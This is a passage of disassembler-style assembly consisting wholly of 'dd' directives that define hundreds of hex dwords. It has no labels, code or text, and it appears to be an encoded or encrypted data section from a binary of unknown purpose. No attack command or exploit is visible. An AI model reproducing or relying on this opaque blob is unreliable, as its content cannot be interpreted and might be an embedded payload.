		dd 0E7EB8Ah, 9B8F1DB3h,	0CD015EF1h, 0BBC71297h,	91CCE77Bh
		dd 0EEBA024Eh, 94E5A04Ah
		dd 383C7854h, 50A6877Ch, 3E1098AFh, 18ED90h, 5E7AA7C0h
		dd 6772F0D5h, 3E71A53Ah, 3D23E85h, 0E0A3EEC1h, 8C01E587h
		dd 0F7AE63B5h, 0AEA0560h, 201F794Ch, 0EC1E00C4h, 2263A550h
		dd 9E10C9h, 0F616A224h,	98F86382h, 31B06F20h, 2008B28h
		dd 4D42A37Ah, 72E47ABh,	6C74F1C4h, 161DA012h, 7013843Bh
		dd 0B0C09490h, 38211F31h, 232599BCh, 0C90D2840h, 97666517h
		dd 0CCDC0480h, 7078E6h,	557F5CE2h, 0D90E4B8Ah, 0E4C8AB1Eh
		dd 6DA84A03h, 14A6D952h, 0F33D4C73h, 6899F3Fh, 7CC04EDFh
		dd 1012E2DAh, 20F416C2h, 0F1C100ECh, 3D279944h,	4C00D846h
		dd 892EB79Dh, 1678ABAEh, 337014h, 6A6CDD4Bh, 0AC0080DFh
		dd 91A32539h, 0F579F94h, 0F47E36A9h, 0BE60236Fh, 6F767A84h
		dd 0D1085200h, 3364DF75h, 5D960B80h, 1C009DF2h,	53DC5F32h
		dd 0BD76F800h, 37EF0664h, 525013EDh, 276A01D3h,	0C4E8AD96h
		dd 78F15938h, 3D4000A8h, 0A32AB7F8h, 9070E8A4h,	0A50D00E8h
		dd 19BD91ACh, 74000ECCh, 811A586Eh, 901CE796h, 0AEFC00D8h
		dd 0DF31D916h, 0D0083ABh, 9EC8E821h, 3C1E513h, 9F2AE06Dh
		dd 0D7B81214h, 1D249131h, 8C0008BCh, 0BD922CA0h, 5453187Ah
		dd 0F0131EB0h, 175A9714h, 3CB20E88h, 0ABE9A107h, 0B8200553h
		dd 0F4BA17B3h, 6E9F0706h, 0F281C05Fh, 6525CB71h, 938F439h
		dd 9700FBD8h, 1434BCB1h, 2070282Fh, 6655E0D4h, 0E3B01837h
		dd 0AD54EFCh, 0F74BD00h, 1EE0F2A7h, 89FA0036h, 6F082D80h
		dd 7900E6D9h, 939726EBh, 33A349ACh, 896076C7h, 981C9Dh
		dd 97C44FBCh, 81000CEEh, 0C275A80Eh, 7A909E3Bh,	7B2EEADh
		dd 8B5346C5h, 3F5F20EAh, 0BF00D2CFh, 9BB15A8Eh,	752A93h
		dd 336561E4h, 0E1AE7A39h, 3AF35909h, 97D38069h,	2D6517Bh
		dd 1031607h, 8606FF1h, 71EB541Ah, 39C9F00Ch, 0B1A8C500h
		dd 0A3071D63h, 92AF03ABh, 570D5238h, 28821100h,	7F07B326h
		dd 2B5601B9h, 8531E3D1h, 1A4FD021h, 0A482E0A0h,	59EA3D00h
		dd 3C4EAB52h, 23161747h, 0D03C00B0h, 3D08AD3Eh,	5518A00h
		dd 53490B0Fh, 1510B86Ah, 0DCD4BB46h, 0FCDA4B01h, 0C817C890h
		dd 1A4D2AE1h, 0D75F1EC8h, 98048027h, 0FBF668h, 0E57FCC63h
		dd 0D8ABE628h, 8F2EAC0Fh, 521EEEB6h, 2780A0h, 29C073A2h
		dd 0DC38E55Ch, 4400114Eh, 0C81225Bh, 0B0830076h, 7D57AC59h
		dd 0EA0020AAh, 0A69FFAA9h, 0E0B91310h, 0D2EB4C3Bh, 0F46F740Bh
		dd 33622CA0h, 0B89955F5h, 0F200E024h, 589ACFD7h, 0C880EB8Dh
		dd 67AF7EE7h, 651C5AA9h, 9298CBD2h, 8BD418h, 3FA30CC2h
		dd 9DE59545h, 0A81E7F28h, 14EC6E07h, 614093B4h,	7B153FB5h
		dd 0A87CF0h, 0F9CF1C16h, 4FF4183Ah, 945E0C00h, 77ABD133h
		dd 0A0D900D0h, 0D881E344h, 157AACB5h, 0FF82E100h, 24935350h
		dd 62160085h, 2278E89Ah, 192679D8h, 0AF00F7CAh,	0FA745BA0h
		dd 97D5000Dh, 4276CB80h, 0F80186B1h, 41E88856h,	8AC9EF94h
		dd 2480CCh, 285C6D54h, 583C35A1h, 74032900h, 11CFE186h
		dd 61B801CEh, 3382C819h, 868F8DFh, 0F257D700h, 458E9D9Fh
		dd 15DB00F1h, 3251783Fh, 0C90E59FBh, 8313E829h,	0EBC87Fh
		dd 0BC0FDE50h, 59336B7Eh, 611F2100h, 169B4F04h,	454800B6h
		dd 0FDD4985Dh, 0F0063B9h, 0E88986F1h, 0B1DF2Ch,	7BDCB59Ch
		dd 955DFB3Ah, 9D88F203h, 0F00E33D7h, 3F60D598h,	20BD84E8h
		dd 0DE286B37h, 0EC3D0C00h, 5B1AE96Eh, 6068B9D0h, 0F8D19D56h
		dd 7B960035h, 564B310Eh, 0E600D354h, 0EAC1EBD8h, 0B3DF2Bh
		dd 4840695Eh, 43313D0h,	23078AF0h, 4A9B6EEEh, 103A34D0h
		dd 0B9C8008Ch, 0F17ECF1Dh, 0F6005D92h, 96324C4Dh, 1ECD1A6Dh
		dd 10666Ch, 102E7B0h, 3DF042BAh, 2708E000h, 889B7D26h
		dd 2E530085h, 18BB7B15h, 601CC591h, 0C8A8B103h,	1E5F2000h
		dd 0C6247A43h, 0F4E902DBh, 2C928BB7h, 0F5EA3160h, 6DB538h
		dd 3228ADD0h, 3AE16FA8h, 3380717Bh, 0F66EAF49h,	0CC006A74h
		dd 2E0B29EBh, 52F143h, 0F938C6A4h, 0FFDD7DD0h, 2287B601h
		dd 0DC028495h, 0C3791080h, 90C220ADh, 0A1B00950h, 28007490h
		dd 0DCBC6847h, 188F7D7h, 0F0C310E9h, 0D4A5C1BAh, 0C63EBBA0h
		dd 0ACB080B2h, 0E6A2C84Bh, 0EBE100B4h, 0F80B70A4h, 0D0002514h
		dd 0E317474Fh, 2E7CF0h,	62BE36D9h, 85FA0A1Dh, 0A8077300h
		dd 0EECEB6FDh, 1A7E0026h, 57E252B5h, 83006D78h,	4909415Bh
		dd 1C170F89h, 0C77953h,	0C15A9829h, 0CC12D947h,	3C003D54h
		dd 10A008DDh, 72280369h, 147A98B1h, 800AA43Bh, 0C9AB2B7Dh
		dd 3298F4Ah, 4808B950h,	0C090A298h, 7000ED36h, 10E13869h
		dd 26D47Dh, 0A20D4034h,	734123FEh, 924E3300h, 98975889h
		dd 4538307Eh, 23B2D8D2h, 8BF1CB01h, 0BFC5341Ah,	2CEB2A80h
		dd 0B1071E08h, 362501Dh, 0A0C2A58Eh, 0BE409B9Eh, 3C6D0334h
		dd 0A13E66ECh, 22E7A4D0h, 0FB618500h, 14A0AD1Eh, 0EE121F6Eh
		dd 3F6A80FCh, 0E4220E7Ch, 1100BD7Ch, 47B25AEDh,	57385Eh
		dd 48B32A95h, 4586087Ch, 0AB615B03h, 9819C885h,	1F10C14h
		dd 3BE7559Ah, 0D46CBA31h, 935035BEh, 1006ED9h, 8BAA6F5Dh
		dd 0A23BA6h, 0C142A7BCh, 0FE58027Ah, 85C73D00h,	0E5A698D9h
		dd 46AC1E20h, 0EEC3C151h, 0C84011DEh, 7EC7D3Eh,	0EB58EF0Fh
		dd 0C8017685h, 0CA519EE8h, 3BAD0F4h, 3A474C35h,	0C2F4BDECh
		dd 38483724h, 2C0080F7h, 705F3078h, 292F15h, 5519AE46h
		dd 68D56B7Ah, 9A48E0FCh, 225700ACh, 65EB3AB1h, 94F14C75h
		dd 7961C818h, 0FB0F389Dh, 848E219Eh, 40C06275h,	0E8E0CFB1h
		dd 2E4C0180h, 5874077Ah, 0B211F442h, 0A5FFB704h, 3880226Eh
		dd 0FAEFB3h, 54BD44A2h,	0A671C987h, 21F26F18h, 28683C20h
		dd 0FC25CAh, 47C6F332h,	8DB097A8h, 0FA75AFFCh, 0A0308104h
		dd 0F4C070C9h, 7E94B6A2h, 0B3830555h, 0EAB064h,	484DB80h
		dd 0D89103E7h, 0CFC93BC1h, 2F0A034h, 66B2802Eh,	0B86833AEh
		dd 8A00A87Ch, 0EA572788h, 1F12BBBh, 9374A9CBh, 0C0FA7984h
		dd 20019B78h, 6E9C019Eh, 8644B58h, 905F03D8h, 1A09DFFFh
		dd 80DABAE1h, 93D0AF40h, 0FAC4CB04h, 0CAA203CDh, 0B658179h
		dd 78001EE3h, 0C7544014h, 3F0164h, 3AD36D4Ch, 5D370AF6h
		dd 14DAC0F9h, 2C97EE26h, 6AEF1100h, 8BE8D5h, 0A7091DF6h
		dd 12534DB2h, 0F3267A76h, 2300DA55h, 0CC1E8FF5h, 387600D4h
		dd 0DDBFF9D2h, 880529F3h, 0FACF6E7Fh, 840F4090h, 24E60405h
		dd 542D6038h, 0C4A50C9Eh, 163B96Bh, 139E5DBBh, 0C5DD83CBh
		dd 344198B7h, 9FE560h, 19243C2Eh, 0B2A30D22h, 949DDF03h
		dd 0A05BFB6Ah, 2A432C20h, 2CCD213h, 2D06D633h, 908C8F79h
		dd 6688A630h, 2980EF7Eh, 6F2DC358h, 94A3786Eh, 4E315A80h
		dd 41D4F74h, 0E2C66526h, 5491A9D1h, 0EED830h, 0D714CB7h
		dd 0C06D569Dh, 0D43551C1h, 5048AB04h, 36932A4Bh, 2EA94h
		dd 7740D0C0h, 62BBC110h, 5796C318h, 242CBD41h, 7020139Fh
		dd 86007E93h, 0BEAADBB5h, 30D1F090h, 3F98E943h,	0FB047884h
		dd 47352BEDh, 8B089880h, 0F6E91FDEh, 4BB0C989h,	96E73C80h
		dd 1C007FF9h, 0BEE6F3B3h, 92FA5C7Ah, 0AE3B008Ch, 0A5A6DD6Ah
		dd 0F90993B9h, 25198EF6h, 0E08380B8h, 1D5000E9h, 44A5D8FBh
		dd 202439B4h, 0BE86582Eh, 0B93FAFh, 51D596CDh, 0B7D388F6h
		dd 25D7C506h, 321AFDFh,	7BBE0C6h, 0D29C9BF6h, 4CE02D00h
		dd 3E9850A9h, 9C1DC8B0h
		dd 3B82E7F0h, 0C0F54D1Eh, 0F9AA18h, 0D51F28C3h,	78D1FB7Bh
		dd 7FFB606h, 0E488759Fh, 68B0098h, 0C76A34ECh, 95120E77h
		dd 860009C0h, 0F47839CAh, 4A192E9Dh, 69A600A0h,	2488C4B7h
		dd 966FEF00h, 0AB4CD586h, 617A72h, 0F5742D93h, 76DBE412h
		dd 6BFB3Fh, 0AC8A08FDh,	7EFFC15h, 745B34E1h, 0C5DCB011h
		dd 843DCE8Dh, 0D9DE8709h, 66A12B10h, 30E082A8h,	177B034Ah
		dd 0B81C3787h, 56A39CE8h, 113EF71Dh, 64C69642h,	97FDC085h
		dd 3AF5005Eh, 3E5B0179h, 33008B4Dh, 6688FECBh, 14CB18Eh
		dd 4B1D80B3h, 0E8E34184h, 84A30651h, 0A2FF3CD8h, 0A685DA00h
		dd 97D4C9BCh, 8FF200EAh, 0D2CAB3AFh, 6001CC95h,	92C80D70h
		dd 68804E49h, 0A9D30891h, 16004D4Ch, 0CCAD8A54h, 0B82AE889h
		dd 5721160h, 2919CF26h,	5F7C2770h, 0A5329690h, 50EE0006h
		dd 40520564h, 77009DEAh, 7399E99Eh, 24F0A062h, 0A38AB8h
		dd 2056AEEh, 1658A7D0h,	2C3F1800h, 0DCEBC8h, 70B4F62Bh
		dd 9D57E4FDh, 0BE00557Ah, 0E0359C85h, 3FFB3942h, 308E4EC1h
		dd 0FC005F5Ch, 89C2CB15h, 5DB4D000h, 0DCFD3E6Ch, 0FAC4030Eh
		dd 0B33D8EB6h, 48E96400h, 92F753EAh, 2A182435h,	388C00D0h
		dd 2CA51B5Ah, 0ACC65226h, 0BC9C5880h, 839344h, 9D7BE0F4h
		dd 99EF3D45h, 0AA6C7C00h, 0ABFC312Bh, 3459829h,	1C646865h
		dd 403DBAECh, 0E5730355h, 0F0FB6B70h, 0EBDA2AAh, 2C9E84E3h
		dd 4A664380h, 6F0095C4h, 4745ABC2h, 860F88h, 2312F8D2h
		dd 0E91E71FAh, 7160CB8h, 64302F60h, 98E002BDh, 55F91358h
		dd 0BC7828F8h, 0C029F03h, 0E047C4B2h, 0B137140Dh, 7A80536Ch
		dd 0A9B0AB2Fh, 0B615F088h, 6D24A213h, 0DB383600h, 7CA4E02Ch
		dd 0C9010698h, 51C54175h, 9B90200h, 9B59BE9Eh, 0CB050B8Ah
		dd 30002B84h, 24AD1352h, 27929716h, 0F3F88040h,	30F0A989h
		dd 0FC70E49Dh, 0B4125906h, 84BC2C6h, 57A420BDh,	9AF7AC85h
		dd 47C80920h, 0B88019B9h, 3D2190E6h, 3462506h, 13B89350h
		dd 0A0CBA81Fh, 7500CAFAh, 8E9F564h, 38C3210Bh, 0F100C1D4h
		dd 9720A56Dh, 0AA307316h, 28A2E011h, 70D30632h,	89CF9E9Fh
		dd 81C7633Eh, 438D5AB9h, 14703F8Ch, 0A0716006h,	0FCFBAAC3h
		dd 8107EBFAh, 3C17FFD7h, 7648C24Fh, 288CC174h, 64628017h
		dd 3492EA24h, 71D4570Ah, 0B9B8E3h, 0B3C4A0ACh, 134DB1FCh
		dd 1DAF1455h, 719D8214h, 0A8C41AB4h, 50E02099h,	0C1E5C4Bh
		dd 2A92892Eh, 7701B9C1h, 40E5CB8Fh, 16C8B8D4h, 0D50B0B47h
		dd 0DC30F655h, 2B206549h, 2AAE02C7h, 2C4FB5DBh,	0FE388880h
		dd 0FC00F834h, 49765F58h, 33EE1A2h, 9BB22ED6h, 71002321h
		dd 0B7F52BD2h, 28F7655h, 0A7AFE4C8h, 0C4C03D93h, 0CC54039Ah
		dd 90F4D80h, 40160A65h,	7477B8DAh, 0B4140F23h, 0FEBF5A34h
		dd 96A4112Ch, 0E01E40h,	85C5E859h, 983BE09Eh, 2A4293E1h
		dd 84961C23h, 6EA11490h, 6FA216B0h, 16985E71h, 207C21D8h
		dd 695DE82Dh, 0C9C9013h, 0D3F78C40h, 0C9A52D6h,	0C7374D0Fh
		dd 0E926B638h, 11308CE3h, 22EC5572h, 2626C169h,	5000B2AEh
		dd 681A888Ch, 174E1FB7h, 0AB974179h, 74F9AE96h,	0E603CB30h
		dd 57195B9Bh, 0C3C28C78h, 0BD00488Ch, 0F4E7096Ch, 0F025EC81h
		dd 6CF43815h, 0C3C24E0Fh, 5456602Eh, 72267Ah, 4B601722h
		dd 0D43E9E62h, 3AC83201h, 93B8B7FBh, 70E452FEh,	27380E57h
		dd 820A228h, 81EF6DA1h,	3A1558h, 0BB65AAFBh, 751DC5h, 2134F207h
		dd 0C766B005h, 3B00B4B9h, 7C4F17Eh, 396C602Bh, 3C7CCD45h
		dd 7A254E00h, 709EF853h, 41FA77h, 2892E6C1h, 57B3A8D7h
		dd 0DB32E400h, 0A33358B0h, 99B2006Ch, 0F85E72B1h, 302CAB65h
		dd 7107AC3Dh, 69905CADh, 6D1531h, 89E4F61Ah, 267E57FDh
		dd 9DAAEE00h, 2B69350Bh, 0E2E9002Ah, 3CECB158h,	43FEB9E5h
		dd 0AEE6A80Fh, 0F0CE605Dh, 94788Ah, 80C55EA3h, 0BD844A65h
		dd 0B9AB2809h, 3860017Bh, 62D80667h, 3DE131Ch, 2710D021h
		dd 223E3AC7h, 0E845805Dh, 2A50B5F9h, 190700A0h,	5B5F5963h
		dd 88B0A721h, 0F5727C01h, 360311F3h, 4AA860h, 0BF0FCEBCh
		dd 663E6A7Fh, 74EC2A54h, 0D882A000h, 93187125h,	435301B8h
		dd 84ADE8Fh, 0F56C346Ah, 3206D61Eh, 66D56B80h, 1FF2DD10h
		dd 0DE3E86h, 56C268D4h,	3A38AD6Eh, 3DFA4C53h, 0BFFC004Fh
		dd 8DEAD4D9h, 97FD0080h, 8C8368BCh, 4C92D024h, 78849B00h
		dd 47A3D8C7h, 58027C94h, 7F9431h, 4CBE620Eh, 7363E9C6h
		dd 0E3002390h, 35564879h, 7755F237h, 59B0032h, 4F0F201Ah
		dd 101C365h, 0C846F10Dh, 0B1EC9DDDh, 0B293E062h, 0E22C0038h
		dd 0BF64CD61h, 2DF20427h, 12B87A0Eh, 4DC01D19h,	7D6C92C5h
		dd 84C926A9h, 0FC210060h, 0E831014Ah, 872C8000h, 56060AF2h
		dd 557A037Ch, 48CFFB26h, 5FC6FDE0h, 7D243E00h, 71EB6FB8h
		dd 4B5C0077h, 7AAE1E2Ch, 854C87A2h, 54492658h, 87E7C90Fh
		dd 58709CBAh, 96C7F8F4h, 0FED586BCh, 1200B9A5h,	0F8EA1E6Ch
		dd 0B0D6B536h, 29A201ACh, 1BB96F4Bh, 675C2057h,	2F331700h
		dd 0CB72859Eh, 54FB0255h, 467BBED9h, 9C68D142h,	360486F5h
		dd 0D1B35F03h, 0F0AB9CC3h, 24D40FF1h, 8010853Dh, 48DF05EAh
		dd 24095382h, 6BF6564Bh, 2BF1E0CCh, 9DE8C696h, 46005930h
		dd 21275465h, 9AE41C89h, 6F9A00B8h, 99AE11FAh, 7758B080h
		dd 175600D0h, 9EA330C9h, 46F6884Bh, 2A0FF894h, 2ECCC564h
		dd 91A22487h, 0C0586B80h, 4C90E217h, 49804CBFh,	37652DC5h
		dd 0BC47C302h, 0A0831D77h, 7362C49Ch, 13A1C0F2h, 29F734AAh
		dd 544AD100h, 0C356AF74h, 82750480h, 0CCE3DDBBh, 4C00DCF8h
		dd 0CB11FC9Ch, 3998F7h,	4A5779B5h, 9E93D1Ah, 0BD0F4C00h
		dd 3B242659h, 882F3005h, 64394979h, 0CE38B403h,	2E0B5C14h
		dd 8264BAD9h, 4892C497h, 0BB420627h, 17DCC777h,	8110609Fh
		dd 4909A0E0h, 0A9AD43h,	55C97424h, 0E54813E7h, 391088B1h
		dd 30A11A2Eh, 0B63E2C8Fh, 40C1C84Bh, 13C858h, 9B84D58Dh
		dd 7F20BC94h, 0A10BF50Dh, 1ADE595Fh, 0FF79A8C9h, 0ECA1E6E2h
		dd 0D06B0AAAh, 0E13AC8A0h, 2CF4242Ch, 8AEC9D03h, 738903EDh
		dd 0E472D554h, 0AB6B1104h, 0D4E0B7A1h, 6FCE20AEh, 0E3000998h
		dd 55F474E8h, 0F4824BE4h, 2737002Ah, 0E59695FBh, 0EF7F6F54h
		dd 0C817D300h, 0A9299E4Bh, 1EDE249h, 0F8B4B535h, 30D02512h
		dd 0AE266485h, 0FB004809h, 95CCB9B6h, 0BA11C003h, 403F1FDFh
		dd 43C55B04h, 0A417C6h,	0CC7954D0h, 64CC001Dh, 0EA5F3A3h
		dd 55025A73h, 575C0C6Dh, 9F546375h, 9C92DDC5h, 535C8094h
		dd 0FE5738h, 3322EF0Ah,	0B088EB8Eh, 29EAFF00h, 2EE39892h
		dd 0E7640099h, 8FC1B7D6h, 0A3F28421h, 0E1C08D00h, 0F10C229Dh
		dd 94B0A2h, 79535833h, 0B2725D31h, 2BFFA600h, 6F402C7Ch
		dd 6EA700C6h, 0DBBE0DC1h, 5601289Ah, 20AFC0F7h,	0AAF8D13Ah
		dd 5482008Ch, 0BCA24D15h, 955CE1D6h, 0D2E30128h, 0D43A9458h
		dd 1BBB9D8h, 51B850D5h,	0F44FDB97h, 8600C57Dh, 462A73ACh
		dd 2D7B5F05h, 1278ED2Eh, 6E4F3F1Eh, 2F679240h, 12040156h
		dd 0E08DD2h, 0B8172778h, 5000E7ADh, 2F20687Fh, 391F4440h
		dd 49801679h, 855A4A25h, 9000E018h, 0C735D86Ah,	0EA81B1h
		dd 2EC5759Bh, 1198AAD0h, 21765C0Ah, 0E1EE08Fh, 4C30FED2h
		dd 0A0C74h, 2182A9D3h, 27B71875h, 0B51A7F07h, 7A6016ADh
		dd 48B4B62Dh
		dd 0F5773348h, 28FCB7E1h, 0F5EE0760h, 0A9683F9Ch, 9B76D422h
		dd 2620F472h, 955901C6h, 70DDF83Dh, 866530B4h, 10942500h
		dd 0D01E6449h, 4B782460h, 97213028h, 941E7598h,	0E5812C2Fh
		dd 390DDD8Eh, 0E8A94460h, 7193F979h, 0EB1E71h, 0D1E8E5D4h
		dd 64944F14h, 40001B96h, 461D582Dh, 48CEF08Ch, 2E102CE7h
		dd 0AE5F1665h, 0D8B5DC82h, 70F400F0h, 0EAE8DA2Fh, 0A2027BC1h
		dd 62459B6Bh, 7F17C004h, 11BA03B3h, 9DEEC74h, 5EC2DC98h
		dd 97874D07h, 5AE28821h, 45C4C0E6h, 0C990091h, 4FC3DBB9h
		dd 1D008FBFh, 36103D18h, 64F60Fh, 0A799D884h, 0FA0821E2h
		dd 0FC0028E6h, 0AEFD3E8Ah, 58AA3436h, 7F018861h, 5B1110A2h
		dd 3926C8C6h, 0B478041h, 45B45830h, 672F2630h, 9C5000E8h
		dd 5E16394Eh, 6AFD0100h, 0A7D3651Ah, 96DD00C9h,	0DE8681EEh
		dd 3226D2BAh, 0CD05D442h, 0D3C0BBE2h, 0F40F897Dh, 11D900B2h
		dd 0C248B9CFh, 942C6D93h, 0C100F4EFh, 137EC3FCh, 74E40058h
		dd 55BF1C9Fh, 8B83B4Eh,	732FE300h, 71DD7284h, 0FFAC2613h
		dd 0A5550348h, 80B86E2Dh, 900D023h, 15578B0Ch, 3C71CD3h
		dd 0AA69ACBCh, 0E10056C4h, 0A8BAC034h, 40B5E5h,	92F8D4BFh
		dd 49BE8C60h, 0F2CFA61Dh, 350A7A80h, 1877C3h, 513E074Dh
		dd 228ACEB5h, 32622Fh, 1E8B5398h, 0E07B619Ah, 2329E307h
		dd 0A2110F58h, 0C68E8088h, 971F70h, 0EA711AC2h,	7DC80A7Fh
		dd 0ACBFA800h, 0F9FB9D04h, 84A0C281h, 0BDE02B50h, 6F00F005h
		dd 100348A7h, 0F90D5Ch,	3D429E56h, 93A5DA2Ah, 9D88E709h
		dd 0C6E087D6h, 0F295FA50h, 0D9B70081h, 0A1FBA30Dh, 0A0DE7C6Ah
		dd 98997384h, 82201D22h, 3AF6FEAFh, 3887C44Dh, 998C0B67h
		dd 0FC25F000h, 6E007CD9h, 21BAB096h, 48B140DDh,	560BF84Ch
		dd 70DC1481h, 0D5DF2B02h, 1FA440EEh, 7510017Fh,	8F67480Fh
		dd 31A448F8h, 0C1B65E00h, 0AD63238Dh, 0E8380020h, 0AFFC7062h
		dd 0C92C95Ah, 0EC00DD5Fh, 7E540980h, 90816739h,	0C0F6B406h
		dd 31A5338h, 56B9E101h,	0D351A4D0h, 0E46806E0h,	7467001Eh
		dd 6C14FD02h, 0F0FF61Ah, 206F8462h, 42370A10h, 29C907Dh
		dd 0BDD60CA1h, 7840B2DDh, 58005DCEh, 0B6FEF9FDh, 346A13Ah
		dd 7ABEE76Bh, 26D0B42Eh, 0B23078h, 8FE6B700h, 9638DB7Bh
		dd 5CE4F291h, 0DD003C45h, 2A858812h, 0B8B0F509h, 0F9C0E30Eh
		dd 5577D9Bh, 0C85084C0h, 0B667E18h, 305ADECBh, 12C7E801h
		dd 0A52AD0D7h, 0B79D57Bh, 1B543Ah, 1ACD6C86h, 2653032Fh
		dd 7CAA2Ah, 8B7F3481h, 1B77D3B0h, 7C774A05h, 0C4C4570Eh
		dd 0A400E816h, 29997F1Ch, 21306FAFh, 433F8480h,	8100826Ah
		dd 0EC63DCE7h, 7BE5818h, 8A754947h, 0DDFE1296h,	5D5E1458h
		dd 90644420h, 0F9F10045h, 8847C7C2h, 285CAD20h,	69420044h
		dd 5BFB338Ah, 9C250005h, 760A6B57h, 0BC00BEC7h,	8FAE4A28h
		dd 9F290AFh, 561643D9h,	29CDC841h, 4DCA8534h, 0F030FC0h
		dd 979A00C0h, 0A0D279C6h, 61001B12h, 8AA184A5h,	5BB4BBAh
		dd 9554D1BFh, 0ABB38120h, 0FE16D822h, 30888C00h, 3AE28EFCh
		dd 232B0013h, 247E80F6h, 0BCA1762Ch, 1C702F40h,	2511A1DAh
		dd 0E44060ECh, 58001E70h, 87FB6B15h, 0FA6534D8h, 0D09B4C13h
		dd 3FCF9407h, 378FB0DEh, 0F900245Dh, 1CEC0464h,	0C47C3Ah
		dd 0A363F755h, 1F3F33A9h, 3894A700h, 0BE739F4Bh, 76F40069h
		dd 98F116B5h, 2E00C901h, 41D60984h, 7DA4B9Bh, 8F8EE18Ch
		dd 0D5B793E5h, 16DEA6F0h, 29D0EE50h, 1CAB000h, 3B0547A7h
		dd 0C28700F2h, 0A70BF79h, 8500E7C0h, 0C3097BC4h, 0D7148Ch
		dd 6F4E322Ah, 0D2118B72h, 653D0F0Bh, 68B88204h,	871FE24Dh
		dd 5A015FCh, 254E2BA2h,	3C02DA56h, 805C9044h, 0A3EB5767h
		dd 0A0D738BCh, 0E33662h, 0FD45270Ah, 630B5273h,	68423F02h
		dd 5E3E2FCCh, 0D2D81E94h, 0E160003Bh, 0A0095F18h, 68833424h
		dd 2D7B0300h, 275D6D8h,	0BD6BD26Ch, 4C402E62h, 24015480h
		dd 0E30EFA4Bh, 28DC08h,	0A0CC397Eh, 0DBBF6700h,	82D230F5h
		dd 3C006F4Eh, 45A52B4h,	67711EB1h, 3131F3Eh, 0DD82EF8Bh
		dd 999D2A98h, 0A2FE000h, 0B6FFD0ACh, 0E3F02EC9h, 62B5011Ch
		dd 0CC34FB3Ah, 1400E62Bh, 8071537Bh, 0F10B97h, 0B7DD375Fh
		dd 43C2F726h, 0BA9A3613h, 0CD45E00h, 62E6FBh, 94AE70AFh
		dd 3258B266h, 0FB0C63Ch, 20E0C38Ah, 8FC52B41h, 0A69F0480h
		dd 80D13D93h, 0A9D5B480h, 1EB1060Ch, 1D21E8EFh,	0C229B2A8h
		dd 2AF3FD6Eh, 78000044h, 0BDFF3802h, 3103CCh, 2F0F74FBh
		dd 17564A33h, 8736A00h,	4D35282Ah, 1475076Ch, 0CA97D603h
		dd 3CFD00F8h, 152BA15Dh, 8A4EAC07h, 97B0CA30h, 17FBF05h
		dd 95E85982h, 0C5C2AAAEh, 80602A98h, 0DBD19Bh, 0F490798Eh
		dd 1C6EF014h, 6A62DE16h, 801B101h, 903CF667h, 7D4AF454h
		dd 9CF40BCCh, 0F482C5FEh, 0F460BD61h, 589805DBh, 0CA354302h
		dd 40AA81DDh, 9AD30B00h, 1042434Ch, 70BBB58h, 0B80A40A4h
		dd 0D9290299h, 84D88175h, 0E08AA800h, 80B534B6h, 0E82700B0h
		dd 2A1D1C45h, 657639A9h, 7BE158C1h, 43830AEh, 56547500h
		dd 0DE871BD5h, 67914907h, 633C03Bh, 5974D844h, 0C2E975E6h
		dd 0CDD9680h, 8CD8F440h, 250EDE00h, 0ECFAB971h,	0AB6A016Fh
		dd 0F1FBE7B1h, 0C456D6DFh, 0C0C90A8Bh, 0DDA7B78Ch, 93F40048h
		dd 8FE143D6h, 32481701h, 67C7A2FBh, 983868DCh, 3AEE10A0h
		dd 90152586h, 189BB19Ch, 11145284h, 60069EEh, 0AC62DA8Eh
		dd 187E2A3Fh, 213B9ABFh, 53766079h, 8801C803h, 0C7DC5CB0h
		dd 287605Eh, 12D254DFh,	37E8D45h, 0BB4C0C99h, 0CD1C76E9h
		dd 38F8307Dh, 0CD00F675h, 47B5BFEAh, 995B5263h,	2553010Ch
		dd 0CC29F94Ah, 2872C065h, 1755702Eh, 21308025h,	0A96DE1h
		dd 6C3CE8C4h, 48BD8A01h, 0C7844600h, 0A1C6DA99h, 0C3150531h
		dd 2D3C23h, 563D1FECh, 0CC09F10Eh, 684A8943h, 157A70h
		dd 0DC9C6D91h, 0E6A07186h, 1A353900h, 0B40DCA93h, 88FB0072h
		dd 0C4DF380Ah, 4900A928h, 9BB85FA8h, 0DD9FF1h, 79F553D9h
		dd 0BC91805Ah, 8E56210Fh, 255E6984h, 0C4C99740h, 3D83C20h
		dd 0F590FF9Fh, 0FE9C98Eh, 0CB9AD879h, 51C8341Eh, 0A468FB00h
		dd 110277h, 55C60A5Dh, 283B4091h, 0E5CC8005h, 78C397B1h
		dd 906DDA7Eh, 0A8C3A1A0h, 0E816FC94h, 0CB1400D2h, 4030B54Ch
		dd 5500174Dh, 0DAB14328h, 55931F2h, 3F547670h, 0D0C4F421h
		dd 78003EF0h, 49FCF1E5h, 1CF6ED4Fh, 1D346A6h, 424A6585h
		dd 3DDC605Dh, 1A004871h, 0FD686A29h, 3DCB47F8h,	75AF12h
		dd 441D6266h, 0A532DB65h, 0A9610300h, 0CFF14D8Ah, 742F1E05h
		dd 0D16A0E85h, 20B17E0h, 0C4007E93h, 9731BAAFh,	3F32F774h
		dd 3A007095h, 0C39AEECAh, 0B4165CE4h, 6C403324h, 3B184A86h
		dd 353700A2h, 5F0D4FC8h, 3E0E5532h, 2058234Ch, 3B723922h
		dd 43243B41h, 7C3F388Ah, 3D2F0208h, 90A077D0h, 0D1C6891Eh
		dd 621E9890h, 7D0CA218h, 0F028111Dh, 1353F8BEh,	40EF2E04h
		dd 815B6C04h, 100EF76Ah, 831F687Ah, 7802C36Eh, 7EF7C20h
		dd 0C393EDEh, 0CDA08080h, 20A01505h, 0A2321062h, 78822860h
		dd 0BE7809ECh, 0DC207D94h, 14779375h, 0CDBAFB05h, 1400B06Ah
		dd 0D60FDC87h, 282D5005h, 0BBA8C064h, 2B045E62h, 82BE0886h
		dd 8131F6Ah, 8099D90Fh,	0B686F730h, 0D57103E0h,	92DA06CFh
		dd 0DD61609Fh, 0B8C046C2h
		dd 0E574AEEEh, 90D4005Dh, 0F9FB8F6Ah, 4D0064BDh, 37356CCFh
		dd 0CBADEBh, 0A954B314h, 0BD835A8Ch, 65BA2E00h,	61C470CFh
		dd 0F3E90040h, 0B0913744h, 4707A613h, 0EEF2B689h, 9050B2D0h
		dd 765A38F6h, 0D380E83Bh, 0A04082BFh, 843E972Dh, 4D788F20h
		dd 0BA2CE1CEh, 0E180E109h, 8C1C2BB9h, 60010484h, 78FCE458h
		dd 2180E208h, 0D2B0BC82h, 0CC01B291h, 0C0F56305h, 0BA00429Eh
		dd 0F002F43Dh, 0ABCA32F6h, 0B374C106h, 0F9A0B457h, 0F3D91Ah
